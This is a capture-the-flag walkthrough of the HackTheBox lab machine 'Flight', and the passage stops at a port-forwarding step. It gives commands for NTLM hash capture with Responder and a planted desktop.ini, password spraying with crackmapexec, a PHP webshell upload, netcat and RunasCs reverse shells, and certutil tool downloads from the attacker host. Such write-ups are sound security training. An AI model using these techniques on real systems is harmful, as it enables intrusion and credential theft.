



Summary

`Flight` is a Hard level difficulty Windows machine from [HackTheBox](https://www.hackthebox.com/). It's hosting a web application that's vulnerable to **file disclosure**. We captured the hashes of different users through different methods like **file disclosure**, **password spray** attack and **IconResource** tag in `desktop.ini` file. We got a reverse shell via uploading a **PHP** backdoor in `smb` share and then did some lateral movement using a tool called `RunasCs.exe`. After that, we found another service running on `tun0` that we didn't discover with `nmap`. We exploited it to get a shell access as a user that has **SeImpersonatePrivilege** which can be exploited to get access as Administrator.

Initial Scan

Firstly, we'll run a port scan with `nmap` -

```
nmap -p- -sV -sC -Pn 10.10.11.187
```

```

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
80/tcp    open  http         Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m
PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2023-
05-07 22:15:08Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP
(Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP
(Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
49667/tcp open  msrpc        Microsoft Windows RPC
49673/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc        Microsoft Windows RPC
49694/tcp open  msrpc        Microsoft Windows RPC
49721/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   311:
|_ Message signing enabled and required
| smb2-time:
|   date: 2023-05-07T22:16:03
|_ start_date: N/A
|_ clock-skew: 6h59m58s

```

So, the box is running a **HTTP** service, **SMB** and **Active Directory** services. We'll add `flight.htb` to our hosts file -

```
sudo subl /etc/hosts
```

```
hosts x
1 127.0.0.1 localhost
2 127.0.1.1 kali
3 ::1 localhost ip6-localhost ip6-loopback
4 ff02::1 ip6-allnodes
5 ff02::2 ip6-allrouters
6
7 10.10.11.187 flight.htb
```

Now, we can start our enumeration phase.

Enumerating HTTP

Browsing `flight.htb` on our browser, we'll find a web page with no functionalities. We tried fuzzing directories with `ffuf` but we've found nothing really interesting. So, we'll try fuzzing for virtual hosts -

```
ffuf -v -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://FUZZ.flight.htb
```

It looks like there's a subdomain called `school.flight.htb`. We'll add it to our `/etc/hosts` file.

```
hosts x
1 127.0.0.1 localhost
2 127.0.1.1 kali
3 ::1 localhost ip6-localhost ip6-loopback
4 ff02::1 ip6-allnodes
5 ff02::2 ip6-allrouters
6
7 10.10.11.187 flight.htb school.flight.htb
```

When we browse `school.flight.htb`, we'll see that it's using `index.php?view=` to grab other files. This is a very old method to use and a very bad practice for security since it's prone to **file inclusion** attacks. First, we will try requesting our own **HTTP** server with a `phpinfo()` script but it looks like the code is only being read and not executed.

```
20 </div>
21 <?php
22 ...phpinfo();
23 ?> <div id="footer">
24 <div>
```

So, it's a **file disclosure** vulnerability, not **Local File Inclusion**.

Exploiting HTTP

Since we've found the vulnerability, we gotta find a way to exploit it. We'll try to read the `index.php` itself. We'll see a piece of code that's filtering the argument for `view` parameter -

```
49 <?php
50
51 ini_set('display_errors', 0);
52 error_reporting(E_ERROR | E_WARNING | E_PARSE);
53
54 if(isset($_GET['view'])){
55     $file=$_GET['view'];
56     if ((strpos(urldecode($_GET['view']), '..')!==false)||
57         (strpos(urldecode(strtolower($_GET['view'])), 'filter')!==false)||
58         (strpos(urldecode($_GET['view']), '\\')!==false)||
59         (strpos(urldecode($_GET['view']), 'htaccess')!==false)||
60         (strpos(urldecode($_GET['view']), '.shtml')!==false)
61     ){
```

We can see that it's filtering stuffs like `..` and `filter` for path traversal attacks. We can also see that it's blocking the user from reading `htaccess` file. `\\` is also filtered to prevent hash stealing attacking using `responder`. But **Windows also allows the use of `//` instead of `\\`**. So, we'll set up our own `responder` server -

```
sudo responder -I tun0 -v
```

and then request `/index.php?view=//10.10.16.16/dir/file -`

```
curl -i -k -s http://school.flight.htb/index.php?view=//10.10.16.16/dir/file
```

Just like we thought, we captured a NTLM hash on our responder -

```
[SMB] NTLMv2-SSP Client      : 10.10.11.187  
[SMB] NTLMv2-SSP Username   : flight\svc_apache  
[SMB] NTLMv2-SSP Hash       : svc_apache::flight:fab664f6f0bfab82:  
004F00530001001E00570049004E002D004C0041005800490051004D00460043  
E004C004F00430041004C0003001400570051004F0053002E004C004F0043004  
3000000000000000000000000000000000000000AEC06537E771EA4B48FC499BF6A4E65A  
030002E00310030002E00310036002E003600000000000000000000
```

which can be cracked using tools like `john` or `hashcat`.

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

```
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
```

After a few minutes of hash cracking, we should get the password of user *svc_apache*

Password Spraying

Now that we have the credentials of a user, we could start enumerating **SMB**. There're plenty of tools we can choose here. For this machine, I'll use `crackmapexec` -

```
crackmapexec smb -u svc_apache -p 'S@Ss!K@*t13' -d 'flight.htb' 10.10.11.187 --shares
```

```
--$ crackmapexec smb -u svc_apache -p 'S0ss!K@*t13' -d 'flight.htb' 10.10.11.187 --shares
```

SMB	IP Address	User	Password
SMB	10.10.11.187	G0	[*] Windows 10.0 Build 17763 x64 (name=G0) (domain=flight.htb)
SMB	10.10.11.187	G0	[+] flight.htb\svc_apache:S0ss!K@*t13
SMB	10.10.11.187	G0	[+] Enumerated shares

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
IPC\$	READ	Remote IPC
NETLOGON	READ	Logon server share
Shared	READ	
SYSVOL	READ	Logon server share
Users	READ	
Web	READ	

We have readable access to `IPC$` and that means we can enumerate usernames with tools like `enum4linux` or `impacket-lookupsid` but we'll just keep using `crackmapexec` -

```
crackmapexec smb -u svc_apache -p 'S@Ss!K@*t13' -d 'flight.htb' 10.10.11.187 --users
```

```

└─$ crackmapexec smb -u svc_apache -p 'S@Ss!K@*t13' -d 'flight.htb' 10.10.11.187 --users
SMB      Home 10.10.11.187 445  G0      [*] Windows 10.0 Build 17763 x64 (name:G0)
SMB      10.10.11.187 445  G0      [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB      10.10.11.187 445  G0      [+] Enumerated domain user(s)
SMB      10.10.11.187 445  G0      flight.htb\O.Possum
SMB      10.10.11.187 445  G0      flight.htb\svc_apache
SMB      10.10.11.187 445  G0      flight.htb\V.Stevens
SMB      10.10.11.187 445  G0      flight.htb\D.Truff
SMB      10.10.11.187 445  G0      flight.htb\I.Francis
SMB      10.10.11.187 445  G0      flight.htb\W.Walker
SMB      10.10.11.187 445  G0      flight.htb\C.Bum
SMB      10.10.11.187 445  G0      flight.htb\M.Gold
SMB      10.10.11.187 445  G0      flight.htb\L.Kein
SMB      10.10.11.187 445  G0      flight.htb\G.Lors
SMB      10.10.11.187 445  G0      flight.htb\R.Cold
SMB      10.10.11.187 445  G0      flight.htb\S.Moon
SMB      10.10.11.187 445  G0      flight.htb\krbtgt
SMB      10.10.11.187 445  G0      flight.htb\Guest
main
SMB      10.10.11.187 445  G0      flight.htb\Administrator
in

```

Now that we have a list of usernames and a password, maybe we should do a **password spray** attack to see if the password is being reused by other users. `crackmapexec` also has an option for this attack -

```
crackmapexec smb -u userlist -p 'S@Ss!K@*t13' -d 'flight.htb' 10.10.11.187 -  
-continue-on-success
```

We need to use `--continue-on-success` flag when we do a **password spray** because `crackmapexec` will stop at the first instance they found a match. It looks like we've found another user that's using the same password as `svc_apache`

```

--$ crackmapexec smb -u userlist -p 'S@Ss!K@*t13' -d 'flight.htb' 10.10.11.187 --continue-on-success
SMB 10.10.11.187 445 G0 [+] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb)
SMB 10.10.11.187 445 G0 [-] flight.htb\0.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight.htb\svc_apache:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [+] flight.htb\S.Moon:S@Ss!K@*t13
SMB 10.10.11.187 445 G0 [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE
SMB 10.10.11.187 445 G0 [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE

```

Enumerating SMB as S.Moon

When we enumerate **SMB** shares as *S.Moon* using `crackmapexec` again, we'll find that *S.Moon* has more privileges than *svc_apache* with a writable share called `Shared`

```
crackmapexec smb -u S.Moon -p 'S@ss!K@*t13' -d 'flight.htb' 10.10.11.187 --shares
```

```

└─$ crackmapexec smb -u S.Moon -p 'S@ss!K@*t13' -d 'flight.htb' 10.10.11.187 --shares
SMB      10.10.11.187    445    G0      [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb)
SMB      10.10.11.187    445    G0      [+] flight.htb\S.Moon:S@ss!K@*t13
SMB      10.10.11.187    445    G0      [+] Enumerated shares
SMB      10.10.11.187    445    G0
SMB      10.10.11.187    445    G0
SMB      10.10.11.187    445    G0      ADMIN$          Remote Admin
SMB      10.10.11.187    445    G0      C$              Default share
SMB      10.10.11.187    445    G0      IPC$            READ             Remote IPC
SMB      10.10.11.187    445    G0      NETLOGON        READ             Logon server share
SMB      10.10.11.187    445    G0      Shared          READ,WRITE
SMB      10.10.11.187    445    G0      SYSVOL          READ             Logon server share
SMB      10.10.11.187    445    G0      Users           READ
SMB      10.10.11.187    445    G0      Web             READ

```

We could try using `impacket-smbexec` since we've got a writable share but you'll see that it doesn't work in this case. It's happening because **SMB** server is configured to block uploading files with certain extensions (The file name `smbexec` uses to get RCE ends with `.bat`)

So, we'll start enumerating all the shares that we can read as *S.Moon*. We can use `spider_plus` module of `crackmapexec` to get a JSON file about all the files in all the shares that we can read.

```
crackmapexec smb -u svc_apache -p 'S@ss!K@*t13' -d 'flight.htb' 10.10.11.187  
-M spider_plus
```

The output JSON file will be in `/tmp/cme_spider_plus` directory. We can use textutils like `jq` to parse the JSON file -

```
cat /tmp/cme_spider_plus/10.10.11.187.json | jq ' . | map_values(keys)'
```

With this, we'll get names of the files present in **SMB** shares. Among them, I found something interesting called `desktop.ini`. We could use `desktop.ini` to steal **NTLM** hash of a user. Since we have a writable share, it looks like that's what we need to do next.

Stealing NTLM hash with desktop.ini

There's a tool called [ntlm_theft](#) that generates files that can be used to steal the NTLM hash of another user. Hacktricks also has a [page](#) about this topic. I won't be using `ntlm_theft` since I already have `desktop.ini` downloaded from `Users` share. We just need to append `IconResource=\\10.10.16.16\dir\file` to `desktop.ini` file. After uploading it to **SMB** server, we should capture the hash of another *C.Bum*

```
[kali@kali:~]$ [HTB/flight]
$ smbclient -uuser=flight.htb/S.Moon //10.10.11.187/Shared
Password for [FLIGHT.HTB/S.Moon]:
Try "help" to get a list of possible commands.
smb: > put desktop.ini
putting file desktop.ini as \desktop.ini (0.5 kb/s) (average 0.5 kb/s)
smb: > exit
```

Writable SMB Shares for C.Bum

After cracking the captured hash, we now could enumerate **SMB** as *C.Bum*.

```
crackmapexec smb -u c.bum -p 'Tikkycoll_431012284' -d 'flight.htb'
10.10.11.187 --shares
```



```
L-$ crackmapexec smb -u c.bum -p 'Tikkycoll_431012284' -d 'flight.htb' 10.10.11.187 --shares
```

SMB	IP	U	P	G	Info
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	[*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb)
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	[+] flight.htb\c.bum:Tikkycoll_431012284
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	[+] Enumerated shares
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	Share Permissions Remark
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	ADMIN\$ Remote Admin
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	C\$ Default share
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	IPC\$ READ Remote IPC
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	NETLOGON READ Logon server share
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	Shared READ,WRITE
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	SYSVOL READ Logon server share
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	Users READ
SMB	10.10.11.187	c.bum	Tikkycoll_431012284	G0	Web READ,WRITE

Looks like *C.Bum* has Read/Write permissions for both `Shared` and `Web` shares. `Web` share looks like the root directory for web applications -

```
(kali㉿kali)-[~]
$ smbclient --user=flight.htb/C.Bum //10.10.11.187/Web
Password for [FLIGHT.HTB\C.Bum]:
Try "help" to get a list of possible commands.
smb: \> dir
.                               D                0   Mon May   8 20:47:00 2023
..                              D                0   Mon May   8 20:47:00 2023
flight.htb                     D                0   Mon May   8 20:47:00 2023
school.flight.htb              D                0   Mon May   8 20:47:00 2023

5056511 blocks of size 4096. 1233748 blocks available
smb: \> dir flight.htb\
.                               D                0   Mon May   8 20:47:00 2023
..                              D                0   Mon May   8 20:47:00 2023
css                             D                0   Mon May   8 20:47:00 2023
images                         D                0   Mon May   8 20:47:00 2023
index.html                    A            7069   Thu Feb 24 12:28:10 2022
js                             D                0   Mon May   8 20:47:00 2023

5056511 blocks of size 4096. 1233748 blocks available
smb: \> dir school.flight.htb\
.                               D                0   Mon May   8 20:47:00 2023
..                              D                0   Mon May   8 20:47:00 2023
about.html                    A            1689   Tue Oct 25 10:24:45 2022
blog.html                     A            3618   Tue Oct 25 10:23:59 2022
home.html                     A            2683   Tue Oct 25 10:26:58 2022
images                        D                0   Mon May   8 20:47:00 2023
index.php                     A            2092   Thu Oct 27 14:29:25 2022
lfi.html                      A             179   Thu Oct 27 14:25:16 2022
styles                         D                0   Mon May   8 20:47:00 2023

5056511 blocks of size 4096. 1233748 blocks available
smb: \> █
```

Getting Shell as *svc_apache*

Since we already knew they're running **PHP**, we'll upload a PHP backdoor for code execution. It can be found in `/usr/share/websells/php/simple-backdoor.php`. We'll copy it to our current working directory -


```
cp /usr/share/webshells/php/simple-backdoor.php ./rev.php
```

And then, we'll upload it to `flight.htb` to see if we can get a code execution -

```
(kali㉿kali)-[/HTB/flight/bins]
$ smbclient --user=flight.htb/C.Bum //10.10.11.187/Web
Password for [FLIGHT.HTB\C.Bum]:
Try "help" to get a list of possible commands.
smb: \> cd flight.htb
smb: \flight.htb> put rev.php
putting file rev.php as \flight.htb\rev.php (0.2 kb/s) (average 0.2 kb/s)
smb: \flight.htb> ^Z
zsh: suspended  smbclient --user=flight.htb/C.Bum //10.10.11.187/Web

(kali㉿kali)-[/HTB/flight/bins]
$ curl http://flight.htb/rev.php?cmd=whoami
flight\svc_apache

(kali㉿kali)-[/HTB/flight/bins]
$
```

As we can see, our PHP backdoor is working perfectly. So, we'll upload `nc.exe` for a reverse shell. It is in the `/usr/share/windows-resources/binaries`. We'll also copy it to current directory -

```
cp /usr/share/windows-resources/binaries/nc.exe .
```

```
(kali㉿kali)-[/HTB/flight/bins]
$ smbclient --user=flight.htb/C.Bum //10.10.11.187/Web
Password for [FLIGHT.HTB\C.Bum]:
Try "help" to get a list of possible commands.
smb: \> cd flight.htb
smb: \flight.htb> put rev.php
putting file rev.php as \flight.htb\rev.php (0.3 kb/s) (average 0.3 kb/s)
smb: \flight.htb> put nc.exe
putting file nc.exe as \flight.htb\nc.exe (83.2 kb/s) (average 63.5 kb/s)
smb: \flight.htb> exit

(kali㉿kali)-[/HTB/flight/bins]
$ curl http://flight.htb/rev.php?cmd=nc.exe%2010.10.16.17%204242%20-e%20cmd

(kali㉿kali)-[~]
$ rlwrap -cAr nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.187] 49759
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\flight.htb>whoami
whoami
flight\svc_apache

C:\xampp\htdocs\flight.htb>
```

```
rlwrap -cAr nc -lnvp 4242
```

Now, we get a shell as user `svc_apache`. We'll use `rlwrap` for `nc` listener on our machine because we can't use arrow keys in our `nc` shell without using `rlwrap`.

Getting Shell as *C.Bum*

I was kind of expecting we'd get a shell as *C.Bum* since it was the user with highest privileges we've got so far but instead we only got shell access as `svc_apache`. For Linux machines, we could simply use `su` after spawning a tty shell using either `script` command or `pty` module

of `python`. For Windows, we could use `runas` but we couldn't pass our password for *C.Bum* since our shell is not `tty`.

```
C:\xampp\htdocs\flight.htb>whoami
whoami
flight\svc_apache

C:\xampp\htdocs\flight.htb>runas /user:c.bum cmd
runas /user:c.bum cmd
Enter the password for c.bum:

C:\xampp\htdocs\flight.htb>
```

For instances like this, there's a tool called [RunasCs](#) that's written in C# (hence "Cs") that functions the same way as `runas` but we can pass the password directly in the command. It also has `-r` flag which can be used to redirect the connection to another server, acting essentially as a reverse shell for us.

We'll download the tool to our `Kali` machine first and then we'll host it and download it to the victim machine. We can use `certutil` to download files on Windows -

```
certutil -urlcache -f http://10.10.16.17/RunasCs.exe
C:\Users\svc_apache\Downloads\RunasCs.exe
```

After downloading the tool, we'll run the tool with `-r` flag to connect to `nc` listener on our `Kali` machine -

```
RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.16.17:4444
```

```
C:\Users\svc_apache\Downloads>certutil -urlcache -f http://10.10.16.17/RunasCs.exe
C:\Users\svc_apache\Downloads>RunasCs.exe
certutil -urlcache -f http://10.10.16.17/RunasCs.exe C:\Users\svc_apache\Downloads
\RunasCs.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

C:\Users\svc_apache\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\Users\svc_apache\Downloads

05/08/2023 02:55 PM <DIR>          .
05/08/2023 02:55 PM <DIR>          ..
05/08/2023 03:01 PM             49,152 RunasCs.exe
                   1 File(s)      49,152 bytes
                   2 Dir(s)        4,971,622,400 bytes free

C:\Users\svc_apache\Downloads>RunasCs.exe c.bum Tikkycoll_431012284 powershell -r
10.10.16.17:4444
RunasCs.exe c.bum Tikkycoll_431012284 powershell -r 10.10.16.17:4444
[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon t
ype 8. Reverting to logon type Interactive (2)...
[*] Running in session 0 with process function CreateProcessWithLogonW()
[*] Using Station\Desktop: Service-0x0-61734$Default
[*] Async process 'powershell' with pid 4312 created and left in background.

C:\Users\svc_apache\Downloads>whoami
whoami
flight\svc_apache

C:\Users\svc_apache\Downloads>
```

```
(kali@kali)~$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.17] from (UNKNOWN) [10.10.11.187] 52589
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
flight\c.bum
PS C:\Windows\system32> dir C:\Users\c.bum\Desktop
dir C:\Users\c.bum\Desktop

Directory: C:\Users\c.bum\Desktop

Mode                LastWriteTime         Length Name
----                -
5/7/2023  10:43 PM            34 user.txt

PS C:\Windows\system32>
```

We'll get a reverse shell as *C.Bum* and `user.txt` is found in `C:\Users\c.bum\Desktop` folder.

Enumeration for Lateral Movement

Running PEAS Scripts

Now that I have a shell as *C.Bum*, a user with highest privilege so far, it's time to start enumeration for lateral movement. Since it's running **Active Directory** services, I decided to run [adPEAS](#) first. It's a `powershell` script so it's better if we have a `powershell` shell -

```
powershell -ep bypass # Spawning a powershell if we're in cmd
```

After spawning a `powershell` shell, we'll import our script to run it -

```
Import-Module .\adPEAS.ps1 OR . .\adPEAS.ps1
```

```
Invoke-adPEAS
```

Nothing interesting found with `adPEAS`. So, we'll try running [winPEAS.exe](#) next -

```
***** Modifiable Services
♦ Check if you can modify any service https://book.hacktricks.xyz/
  LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:
  RmSvc: GenericExecute (Start/Stop)
```

It looks like we can start/stop a service called `RmSvc`. We can check the permissions and status of a service using `sc` command -

```
sc qc RmSvc
```

```
C:\Users\svc_apache\Downloads>sc qc RmSvc
sc qc RmSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: RmSvc
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE           : 4    DISABLED
        ERROR_CONTROL         : 1    NORMAL
        BINARY_PATH_NAME      : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
        LOAD_ORDER_GROUP      :
        TAG                   : 0
        DISPLAY_NAME          : Radio Management Service
        DEPENDENCIES           : RpcSs
        SERVICE_START_NAME    : NT AUTHORITY\LocalService
```

We can try changing its `BINARY_PATH_NAME` with our reverse shell payload if we have enough privileges. Let's try it here -

```
sc config RmSvc binpath="C:\Users\svc_apache\Downloads\rev.exe"
```

```
C:\Users\svc_apache\Downloads>sc config RmSvc BINARY_PATH_NAME="C:\Users\svc_apache\Downloads\rev.exe"
sc config RmSvc BINARY_PATH_NAME="C:\Users\svc_apache\Downloads\rev.exe"
DESCRIPTION:
    Modifies a service entry in the registry and Service Database.
USAGE:
    sc <server> config [service name] <option1> <option2> ...

OPTIONS:
NOTE: The option name includes the equal sign.
    A space is required between the equal sign and the value.
    To remove the dependency, use a single / as dependency value.
type= <own|share|interact|kernel|filesystem|recladapt|userown|usershare>
start= <boot|system|auto|demand|disabled|delayed-auto>
error= <normal|severe|critical|ignore>
binPath= <BinaryPathName to the .exe file>
group= <LoadOrderGroup>
tag= <yes|no>
depend= <Dependencies(separated by / (forward slash))>
obj= <AccountName|ObjectName>
DisplayName= <display name>
password= <password>

C:\Users\svc_apache\Downloads>sc config RmSvc binpath="C:\Users\svc_apache\Downloads\rev.exe"
sc config RmSvc binpath="C:\Users\svc_apache\Downloads\rev.exe"
[SC] OpenService FAILED 5:

Access is denied.
```

But unfortunately, we don't have permissions to change the configurations of the service.

Enumerating Network Services

Since automated enumeration didn't work, we'll fall back to manual enumeration. I decided to check the file system hoping we'd find some interesting files/folders.

```
C:\Users\svc_apache\Downloads>dir C:\
dir C:\
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\

05/09/2023  01:57 PM    <DIR>          inetpub
06/07/2022  06:39 AM    <DIR>          PerfLogs
10/21/2022  11:49 AM    <DIR>          Program Files
07/20/2021  12:23 PM    <DIR>          Program Files (x86)
10/28/2022  01:21 PM    <DIR>          Shared
09/22/2022  12:28 PM    <DIR>          StorageReports
09/22/2022  01:16 PM    <DIR>          Users
10/21/2022  11:52 AM    <DIR>          Windows
09/22/2022  01:16 PM    <DIR>          xampp
               0 File(s)                0 bytes
               9 Dir(s)      5,058,510,848 bytes free
```

We found two interesting folders in `C:\` partition, `inetpub` and `StorageReports`. There's nothing really interesting inside `StorageReports` except another empty folder but `inetpub` is

an interesting one here.

`inetpub` is default folder name for **Microsoft Internet Information Services (IIS)**. It contains web application contents and its source codes. It looks like there might be some web application running in the system.

```
C:\inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\inetpub

05/09/2023  02:52 PM    <DIR>          .
05/09/2023  02:52 PM    <DIR>          ..
09/22/2022  12:24 PM    <DIR>          custerr
05/09/2023  02:52 PM    <DIR>          development
09/22/2022  01:08 PM    <DIR>          history
09/22/2022  12:32 PM    <DIR>          logs
09/22/2022  12:24 PM    <DIR>          temp
09/22/2022  12:28 PM    <DIR>          wwwroot
               0 File(s)                0 bytes
               8 Dir(s)  5,053,202,432 bytes free

C:\inetpub>dir development\
dir development\
Volume in drive C has no label.
Volume Serial Number is 1DF4-493D

Directory of C:\inetpub\development

05/09/2023  02:57 PM    <DIR>          .
05/09/2023  02:57 PM    <DIR>          ..
04/16/2018  02:23 PM                9,371 contact.html
05/09/2023  02:57 PM    <DIR>          css
05/09/2023  02:57 PM    <DIR>          fonts
05/09/2023  02:57 PM    <DIR>          img
04/16/2018  02:23 PM                45,949 index.html
05/09/2023  02:57 PM    <DIR>          js
               2 File(s)                55,320 bytes
               6 Dir(s)  5,053,136,896 bytes free
```

After checking `development` directory inside `inetpub`, it's certain that this is a web application. So, let check if there're services listening on localhost (`127.0.0.1`) -

```
netstat -ano
```

We'll be greeted with a wall of text with hundreds of UDP ports listening. This is probably happening because the system is the domain controller of the AD services. We can use `-p` flag to choose only a specified type of protocol to display -

```
netstat -ano -p TCP
```


Active Connections					
Proto	Local Address	Foreign Address	State	PID	
TCP	0.0.0.0:80	0.0.0.0:0	LISTENING	4656	
TCP	0.0.0.0:88	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	916	
TCP	0.0.0.0:389	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:443	0.0.0.0:0	LISTENING	4656	
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4	
TCP	0.0.0.0:464	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:593	0.0.0.0:0	LISTENING	916	
TCP	0.0.0.0:636	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:3268	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:3269	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:5985	0.0.0.0:0	LISTENING	4	
TCP	0.0.0.0:8000	0.0.0.0:0	LISTENING	4	
TCP	0.0.0.0:9389	0.0.0.0:0	LISTENING	2792	
TCP	0.0.0.0:47001	0.0.0.0:0	LISTENING	4	
TCP	0.0.0.0:49664	0.0.0.0:0	LISTENING	504	
TCP	0.0.0.0:49665	0.0.0.0:0	LISTENING	1140	
TCP	0.0.0.0:49666	0.0.0.0:0	LISTENING	1588	
TCP	0.0.0.0:49667	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:49673	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:49674	0.0.0.0:0	LISTENING	656	
TCP	0.0.0.0:49682	0.0.0.0:0	LISTENING	636	
TCP	0.0.0.0:49694	0.0.0.0:0	LISTENING	2928	
TCP	0.0.0.0:49723	0.0.0.0:0	LISTENING	2896	

If you remember our `nmap` scan output roughly, you'll notice that we didn't see port 8000 listening on IP Address 10.10.11.187 . When we try scanning again only for port 8000, you'll see that it's considered as **filtered** and that's the reason why we didn't see it in our [Initial Scan](#)

```
(kali㉿kali)-[/HTB/flight/bins]
└─$ nmap -p 8000 10.10.11.187 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 21:55 +0630
Nmap scan report for flight.htb (10.10.11.187)
Host is up.

PORT      STATE      SERVICE
8000/tcp  filtered  http-alt

Nmap done: 1 IP address (1 host up) scanned in 2.05 seconds
```

We can check [nmap documentations](#) to see why a port is considered **filtered** in a scan. It doesn't work when we `curl` it from our machine -

```
(kali㉿kali)-[/HTB/flight/bins]
└─$ curl -i -k http://flight.htb:8000/
curl: (28) Failed to connect to flight.htb port 8000 after 129949 ms: Couldn't connect to server
```

and when we `curl` it in the victim machine itself -


```
C:\inetpub>curl http://10.10.11.187:8000
curl http://10.10.11.187:8000
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left   Speed
100  334  100  334    0     0  191k      0  --:--:-- --:--:-- --:--:--  326k
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Bad Request</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Bad Request - Invalid Hostname</h2>
<hr><p>HTTP Error 400. The request hostname is invalid.</p>
</BODY></HTML>
```

we get a HTTP error back which means this port really is running a HTTP service.

Port Forwarding

We can't access the web server directly from our machine or on the victim machine itself, we need to do some port forwarding. I like to use [chisel](#) whenever SSH port forwarding is not an option. In this case, we'll need another shell as *C.Bum* since we'll be using one of them for running `chisel`.

```
chisel server --reverse --port 11111 # On Attacker machine
```

```
chisel.exe client 10.10.16.17:11111 R:8000:0.0.0.0:8000
```

```
